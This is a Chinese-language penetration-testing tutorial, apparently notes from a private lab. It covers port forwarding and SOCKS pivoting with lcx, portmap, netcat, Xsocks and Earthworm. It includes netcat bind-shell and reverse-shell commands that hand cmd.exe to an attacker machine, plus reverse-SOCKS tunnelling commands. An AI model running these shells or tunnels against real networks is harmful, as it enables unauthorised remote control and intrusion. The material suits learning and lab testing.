这一篇写的是关于端口转发的一些基础知识,同时也简略的写了常用工具的基本使用方法。争取通过这篇文章让自己对代理与端口转发有个基本印象。
正向代理与反向代理
正向代理
正向代理就像一个跳板,比如ABC三个IP,A能访问B,B能访问C,A不能访问C,那么,正向代理就是A去访问B,告诉B自己要访问C的什么内容,然后B去代替A来访问,接着把访问到的内容返回A,这样就相当于A访问到了C。
反向代理
反向代理是我们经常用到的一种代理方式,因为它可以有效的穿透防火墙,这也是很多网站保护集群的一种做法,他们将内网中的web(A)代理到外网的一台服务器(B)上,当用户访问这台服务器(B)时,他们以为自己访问的是原始的web(A)
Windows lcx端口转发
这是一个window下使用的端口转发工具,常用命令如下:
- -listen 监听p1,接收由p2转发过来的数据
- -tran 端口转向功能,通过访问该端口可以直接与该主机或另一台主机的某一个端口进行通信
- -slave 端口转发功能,将目标A机上的端口A,转发到外网B机的端口B上
在实际渗透过程中,主要用到的还是1和3功能,下面我们就在本地实验环境实际使用一下。
内网机ip:192.168.226.137
边界机ip:192.168.226.139(内),192.168.226.143(外)
物理机是无法直接与内网机相连接的,但是物理机是可以与边界机相连的。内网机将流量通过端口转发到边界机,边界机监听本地端口后可以让物理机访问到内网机的流量,以远程连接(3389端口)为例:
内网机
lcx.exe -slave 192.168.226.139 55 192.168.226.137 3389
边界机
lcx.exe -listen 55 49999
物理机
Linux下的portmap端口转发
portmap的使用方法与在Windows下使用lcx类似:
将目标的3389端口转发到本地的55端口
./portmap -m 1 -p1 3389 -h2 ip -p2 55
监听55端口并将数据转发到4999端口
./portmap -m 2 -p1 1234 -p2 4999
NC
正向连接
以本次的实验环境为例,在边界机上将cmd的流量代理到8888端口nc.exe -l -p 8888 -e cmd.exe
在物理机上执行命令nc.exe -nvv 192.168.226.143 8888
主动连接到了边界机的8888端口拿到了cmd.exe的执行权限。start http://www.baidu.com
物理机成功控制边界机弹出浏览器并打开指定网站
反向连接
在边界机上执行命令nc.exe -e cmd.exe 192.168.1.103 8889
,此时边界机的cmd.exe流量将转发到攻击机的8889端口。
在物理(外网)机上执行命令nc.exe -l -p 8889
,此时将监听本地的8889端口获取反弹的shell
注意:内网机命令执行后等待时间短,应在结束前在物理机上执行监听命令
Xsocks
Xsocks在常用的windows与linux下都可以使用,而且能够设置ssocks服务的密码,这里以它的正向代理socks5代理功能来进行实验。
边界机ip: 192.168.70.145 端口1080
内网机ip: 172.17.18.6
物理机ip: 192.168.70.129(kali)
在边界机上执行命令xsocks.exe -l 1080
开启流量转发
Windows
在windows下我们使用proxifier来进行流量代理,只需要在Proxy Servers中设置好边界机的ip地址及流量代理端口即可。
Linux
在proxychains文件中修改代理设置,使用代理访问即可。
Earthworm
EW 是一套便携式的网络穿透工具,它具有 SOCKS v5服务架设和端口转发两大 核心功能,可以帮助我们在复杂的网络环境下完成网络穿透,它支持多平台,借 用了 ssocks 和 lcx.exe 的操作逻辑,并进行更多的功能强化。
实验环境与上文Xscoks相同
Windows
边界机执行命令ew -s ssocksd -l 1080
将流量反弹出去,在windows(外网攻击机)下使用proxifier连接。
Linux
在kali(外网攻击机)下先执行命令./ew -s rcsocks -l 1080 -e 8888
监听本机1080端口,同时修改proxychains文件的代理配置
在边界机下执行命令./ew -s rssocks -d 192.168.70.129 -e 8888
将本机流量发送到kali(攻击机)的8888端口